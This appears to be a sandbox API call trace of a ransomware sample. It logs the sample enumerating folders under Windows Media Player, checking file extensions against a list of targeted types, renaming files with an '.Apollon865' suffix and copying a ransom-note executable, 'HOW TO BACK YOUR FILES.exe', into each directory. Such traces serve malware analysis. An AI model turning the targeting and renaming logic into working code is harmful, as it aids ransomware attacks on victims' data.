	[0052.423] lstrlenW (lpString="scx") returned 3
	[0052.423] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0052.423] lstrlenW (lpString="sdb") returned 3
	[0052.423] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0052.423] lstrlenW (lpString="sdc") returned 3
	[0052.423] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0052.423] lstrlenW (lpString="sdf") returned 3
	[0052.423] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0052.423] lstrlenW (lpString="sis") returned 3
	[0052.423] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0052.424] lstrlenW (lpString="spq") returned 3
	[0052.424] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0052.424] lstrlenW (lpString="te") returned 2
	[0052.424] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0052.424] lstrlenW (lpString="teacher") returned 7
	[0052.424] lstrcmpiW (lpString1="120.jpg", lpString2="teacher") returned -1
	[0052.424] lstrlenW (lpString="tmd") returned 3
	[0052.424] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0052.424] lstrlenW (lpString="tps") returned 3
	[0052.424] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0052.424] lstrlenW (lpString="trc") returned 3
	[0052.424] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0052.424] lstrlenW (lpString="trc") returned 3
	[0052.424] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0052.424] lstrlenW (lpString="trm") returned 3
	[0052.424] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0052.424] lstrlenW (lpString="udb") returned 3
	[0052.424] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0052.424] lstrlenW (lpString="udl") returned 3
	[0052.424] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0052.424] lstrlenW (lpString="usr") returned 3
	[0052.424] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0052.424] lstrlenW (lpString="v12") returned 3
	[0052.424] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0052.424] lstrlenW (lpString="vis") returned 3
	[0052.424] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0052.424] lstrlenW (lpString="vpd") returned 3
	[0052.424] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0052.424] lstrlenW (lpString="vvv") returned 3
	[0052.424] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0052.424] lstrlenW (lpString="wdb") returned 3
	[0052.424] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0052.424] lstrlenW (lpString="wmdb") returned 4
	[0052.424] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0052.424] lstrlenW (lpString="wrk") returned 3
	[0052.424] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0052.425] lstrlenW (lpString="xdb") returned 3
	[0052.425] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0052.425] lstrlenW (lpString="xld") returned 3
	[0052.425] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0052.425] lstrlenW (lpString="xmlff") returned 5
	[0052.425] lstrcmpiW (lpString1="0.jpg", lpString2="xmlff") returned -1
	[0052.425] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79de7474, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79de7474, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5511151c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DMR_120.png", cAlternateFileName="")) returned 1
	[0052.425] lstrcmpiW (lpString1="DMR_120.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.425] lstrcmpiW (lpString1="DMR_120.png", lpString2="Apollon865.txt.exe") returned 1
	[0052.425] lstrcmpiW (lpString1="DMR_120.png", lpString2=".") returned 1
	[0052.425] lstrcmpiW (lpString1="DMR_120.png", lpString2="..") returned 1
	[0052.425] lstrcmpiW (lpString1="DMR_120.png", lpString2="windows") returned -1
	[0052.425] lstrcmpiW (lpString1="DMR_120.png", lpString2="bootmgr") returned 1
	[0052.425] lstrcmpiW (lpString1="DMR_120.png", lpString2="temp") returned -1
	[0052.425] lstrcmpiW (lpString1="DMR_120.png", lpString2="pagefile.sys") returned -1
	[0052.425] lstrcmpiW (lpString1="DMR_120.png", lpString2="boot") returned 1
	[0052.425] lstrcmpiW (lpString1="DMR_120.png", lpString2="ids.txt") returned -1
	[0052.425] lstrcmpiW (lpString1="DMR_120.png", lpString2="ntuser.dat") returned -1
	[0052.425] lstrcmpiW (lpString1="DMR_120.png", lpString2="perflogs") returned -1
	[0052.425] lstrcmpiW (lpString1="DMR_120.png", lpString2="MSBuild") returned -1
	[0052.425] lstrlenW (lpString="DMR_120.png") returned 11
	[0052.425] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 70
	[0052.425] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="DMR_120.png" | out: lpString1="DMR_120.png") returned="DMR_120.png"
	[0052.425] lstrlenW (lpString="DMR_120.png") returned 11
	[0052.425] lstrlenW (lpString="Apollon865") returned 10
	[0052.425] lstrcmpiW (lpString1="MR_120.png", lpString2="Apollon865") returned 1
	[0052.425] lstrlenW (lpString=".dll") returned 4
	[0052.425] lstrcmpiW (lpString1="DMR_120.png", lpString2=".dll") returned 1
	[0052.425] lstrlenW (lpString=".lnk") returned 4
	[0052.425] lstrcmpiW (lpString1="DMR_120.png", lpString2=".lnk") returned 1
	[0052.425] lstrlenW (lpString=".ini") returned 4
	[0052.425] lstrcmpiW (lpString1="DMR_120.png", lpString2=".ini") returned 1
	[0052.425] lstrlenW (lpString=".sys") returned 4
	[0052.425] lstrcmpiW (lpString1="DMR_120.png", lpString2=".sys") returned 1
	[0052.426] lstrlenW (lpString="DMR_120.png") returned 11
	[0052.426] lstrlenW (lpString="bak") returned 3
	[0052.426] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0052.426] lstrlenW (lpString="ba_") returned 3
	[0052.426] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0052.426] lstrlenW (lpString="dbb") returned 3
	[0052.426] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0052.426] lstrlenW (lpString="vmdk") returned 4
	[0052.426] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0052.426] lstrlenW (lpString="rar") returned 3
	[0052.426] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0052.426] lstrlenW (lpString="zip") returned 3
	[0052.426] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0052.426] lstrlenW (lpString="tgz") returned 3
	[0052.426] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0052.426] lstrlenW (lpString="vbox") returned 4
	[0052.426] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0052.426] lstrlenW (lpString="vdi") returned 3
	[0052.426] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0052.426] lstrlenW (lpString="vhd") returned 3
	[0052.426] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0052.426] lstrlenW (lpString="vhdx") returned 4
	[0052.426] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0052.426] lstrlenW (lpString="avhd") returned 4
	[0052.426] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0052.426] lstrlenW (lpString="db") returned 2
	[0052.426] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0052.426] lstrlenW (lpString="db2") returned 3
	[0052.426] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0052.426] lstrlenW (lpString="db3") returned 3
	[0052.426] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0052.426] lstrlenW (lpString="dbf") returned 3
	[0052.426] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0052.426] lstrlenW (lpString="mdf") returned 3
	[0052.426] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0052.426] lstrlenW (lpString="mdb") returned 3
	[0052.427] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1
	[0052.427] lstrlenW (lpString="sql") returned 3
	[0052.427] lstrcmpiW (lpString1="png", lpString2="sql") returned -1
	[0052.427] lstrlenW (lpString="sqlite") returned 6
	[0052.427] lstrcmpiW (lpString1="20.png", lpString2="sqlite") returned -1
	[0052.427] lstrlenW (lpString="sqlite3") returned 7
	[0052.427] lstrcmpiW (lpString1="120.png", lpString2="sqlite3") returned -1
	[0052.427] lstrlenW (lpString="sqlitedb") returned 8
	[0052.427] lstrcmpiW (lpString1="_120.png", lpString2="sqlitedb") returned -1
	[0052.427] lstrlenW (lpString="xml") returned 3
	[0052.427] lstrcmpiW (lpString1="png", lpString2="xml") returned -1
	[0052.427] lstrlenW (lpString="$er") returned 3
	[0052.427] lstrcmpiW (lpString1="png", lpString2="$er") returned 1
	[0052.427] lstrlenW (lpString="4dd") returned 3
	[0052.427] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1
	[0052.427] lstrlenW (lpString="4dl") returned 3
	[0052.427] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1
	[0052.427] lstrlenW (lpString="^^^") returned 3
	[0052.427] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1
	[0052.427] lstrlenW (lpString="abs") returned 3
	[0052.427] lstrcmpiW (lpString1="png", lpString2="abs") returned 1
	[0052.427] lstrlenW (lpString="abx") returned 3
	[0052.427] lstrcmpiW (lpString1="png", lpString2="abx") returned 1
	[0052.427] lstrlenW (lpString="accdb") returned 5
	[0052.427] lstrcmpiW (lpString1="0.png", lpString2="accdb") returned -1
	[0052.427] lstrlenW (lpString="accdc") returned 5
	[0052.427] lstrcmpiW (lpString1="0.png", lpString2="accdc") returned -1
	[0052.427] lstrlenW (lpString="accde") returned 5
	[0052.427] lstrcmpiW (lpString1="0.png", lpString2="accde") returned -1
	[0052.427] lstrlenW (lpString="accdr") returned 5
	[0052.427] lstrcmpiW (lpString1="0.png", lpString2="accdr") returned -1
	[0052.427] lstrlenW (lpString="accdt") returned 5
	[0052.427] lstrcmpiW (lpString1="0.png", lpString2="accdt") returned -1
	[0052.427] lstrlenW (lpString="accdw") returned 5
	[0052.427] lstrcmpiW (lpString1="0.png", lpString2="accdw") returned -1
	[0052.427] lstrlenW (lpString="accft") returned 5
	[0052.428] lstrcmpiW (lpString1="0.png", lpString2="accft") returned -1
	[0052.428] lstrlenW (lpString="adb") returned 3
	[0052.428] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0052.428] lstrlenW (lpString="adb") returned 3
	[0052.428] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0052.428] lstrlenW (lpString="ade") returned 3
	[0052.428] lstrcmpiW (lpString1="png", lpString2="ade") returned 1
	[0052.428] lstrlenW (lpString="adf") returned 3
	[0052.428] lstrcmpiW (lpString1="png", lpString2="adf") returned 1
	[0052.428] lstrcmpiW (lpString1="png", lpString2="adn") returned 1
	[0052.428] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="DMR_48.jpg" | out: lpString1="DMR_48.jpg") returned="DMR_48.jpg"
	[0052.428] lstrlenW (lpString="DMR_48.jpg") returned 10
	[0052.428] lstrlenW (lpString="Apollon865") returned 10
	[0052.428] lstrlenW (lpString=".dll") returned 4
	[0052.428] lstrcmpiW (lpString1="DMR_48.jpg", lpString2=".dll") returned 1
	[0052.428] lstrlenW (lpString=".lnk") returned 4
	[0052.428] lstrcmpiW (lpString1="DMR_48.jpg", lpString2=".lnk") returned 1
	[0052.428] lstrlenW (lpString=".ini") returned 4
	[0052.428] lstrcmpiW (lpString1="DMR_48.jpg", lpString2=".ini") returned 1
	[0052.428] lstrlenW (lpString=".sys") returned 4
	[0052.428] lstrcmpiW (lpString1="DMR_48.jpg", lpString2=".sys") returned 1
	[0052.428] lstrlenW (lpString="DMR_48.jpg") returned 10
	[0052.428] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="DMR_48.png" | out: lpString1="DMR_48.png") returned="DMR_48.png"
	[0052.428] lstrlenW (lpString="DMR_48.png") returned 10
	[0052.428] lstrlenW (lpString="Apollon865") returned 10
	[0052.428] lstrlenW (lpString=".dll") returned 4
	[0052.428] lstrcmpiW (lpString1="DMR_48.png", lpString2=".dll") returned 1
	[0052.428] lstrlenW (lpString=".lnk") returned 4
	[0052.428] lstrcmpiW (lpString1="DMR_48.png", lpString2=".lnk") returned 1
	[0052.428] lstrlenW (lpString=".ini") returned 4
	[0052.429] lstrcmpiW (lpString1="DMR_48.png", lpString2=".ini") returned 1
	[0052.429] lstrlenW (lpString=".sys") returned 4
	[0052.429] lstrcmpiW (lpString1="DMR_48.png", lpString2=".sys") returned 1
	[0052.429] lstrlenW (lpString="DMR_48.png") returned 10
	[0052.429] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="RenderingControl.xml" | out: lpString1="RenderingControl.xml") returned="RenderingControl.xml"
	[0052.429] lstrlenW (lpString="RenderingControl.xml") returned 20
	[0052.429] lstrlenW (lpString="Apollon865") returned 10
	[0052.429] lstrcmpiW (lpString1="ontrol.xml", lpString2="Apollon865") returned 1
	[0052.429] lstrlenW (lpString=".dll") returned 4
	[0052.429] lstrcmpiW (lpString1="RenderingControl.xml", lpString2=".dll") returned 1
	[0052.429] lstrlenW (lpString=".lnk") returned 4
	[0052.429] lstrcmpiW (lpString1="RenderingControl.xml", lpString2=".lnk") returned 1
	[0052.429] lstrlenW (lpString=".ini") returned 4
	[0052.429] lstrcmpiW (lpString1="RenderingControl.xml", lpString2=".ini") returned 1
	[0052.429] lstrlenW (lpString=".sys") returned 4
	[0052.429] lstrcmpiW (lpString1="RenderingControl.xml", lpString2=".sys") returned 1
	[0052.429] lstrlenW (lpString="RenderingControl.xml") returned 20
	[0052.429] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml.Apollon865") returned 90
	[0052.429] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\renderingcontrol.xml"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml.Apollon865" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\renderingcontrol.xml.apollon865"), dwFlags=0x1) returned 0
	[0052.430] GetLastError () returned 0x5
	[0052.430] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml MoveFileEx error 5\r\n") returned 108
	[0052.430] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml MoveFileEx error 5\r\n") returned 108
	[0052.430] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0052.430] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x20ec
	[0052.430] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6c, lpOverlapped=0x0) returned 1
	[0052.431] CloseHandle (hObject=0x14c) returned 1
	[0052.431] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0052.431] CloseHandle (hObject=0x0) returned 0
	[0052.431] CloseHandle (hObject=0x0) returned 0
	[0052.431] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e59891, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e59891, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x555fa27c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 0
	[0052.431] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.431] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc50
	[0052.431] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Media Player\\Icons", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\Icons") returned="C:\\Program Files (x86)\\Windows Media Player\\Icons"
	[0052.431] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599530 | out: hHeap=0x580000) returned 1
	[0052.431] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0052.431] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Media Player\\Icons") returned 49
	[0052.431] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Icons" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\Icons") returned="C:\\Program Files (x86)\\Windows Media Player\\Icons"
	[0052.431] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.431] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Icons\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\icons\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0052.432] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0052.432] GetLastError () returned 0x0
	[0052.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0052.432] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0052.432] CloseHandle (hObject=0x15c) returned 1
	[0052.432] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0052.432] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.432] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Icons\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.433] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.433] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.433] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.433] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.433] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.433] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.433] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.433] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.433] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0052.433] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.433] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc30
	[0052.433] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Media Player\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\en-US") returned="C:\\Program Files (x86)\\Windows Media Player\\en-US"
	[0052.433] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0052.433] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0052.433] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Media Player\\en-US") returned 49
	[0052.433] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Media Player\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\en-US") returned="C:\\Program Files (x86)\\Windows Media Player\\en-US"
	[0052.433] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.433] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.437] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.437] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37546150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37546150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.437] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.437] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.437] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.437] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37546150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37546150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.437] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.437] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.437] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.437] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.437] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37546150, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37546150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.437] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.437] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1
	[0052.437] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.438] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0052.438] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2=".") returned 1
	[0052.438] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="..") returned 1
	[0052.438] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="windows") returned -1
	[0052.438] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="bootmgr") returned 1
	[0052.438] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="temp") returned -1
	[0052.438] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="pagefile.sys") returned -1
	[0052.438] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="boot") returned 1
	[0052.438] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="ids.txt") returned 1
	[0052.438] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="ntuser.dat") returned -1
	[0052.438] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="perflogs") returned -1
	[0052.438] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="MSBuild") returned -1
	[0052.438] lstrlenW (lpString="mpvis.dll.mui") returned 13
	[0052.438] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Media Player\\en-US\\*") returned 51
	[0052.438] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="mpvis.dll.mui" | out: lpString1="mpvis.dll.mui") returned="mpvis.dll.mui"
	[0052.438] lstrlenW (lpString="mpvis.dll.mui") returned 13
	[0052.438] lstrlenW (lpString="Apollon865") returned 10
	[0052.438] lstrcmpiW (lpString1="is.dll.mui", lpString2="Apollon865") returned 1
	[0052.438] lstrlenW (lpString=".dll") returned 4
	[0052.438] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2=".dll") returned 1
	[0052.438] lstrlenW (lpString=".lnk") returned 4
	[0052.438] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2=".lnk") returned 1
	[0052.438] lstrlenW (lpString=".ini") returned 4
	[0052.438] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2=".ini") returned 1
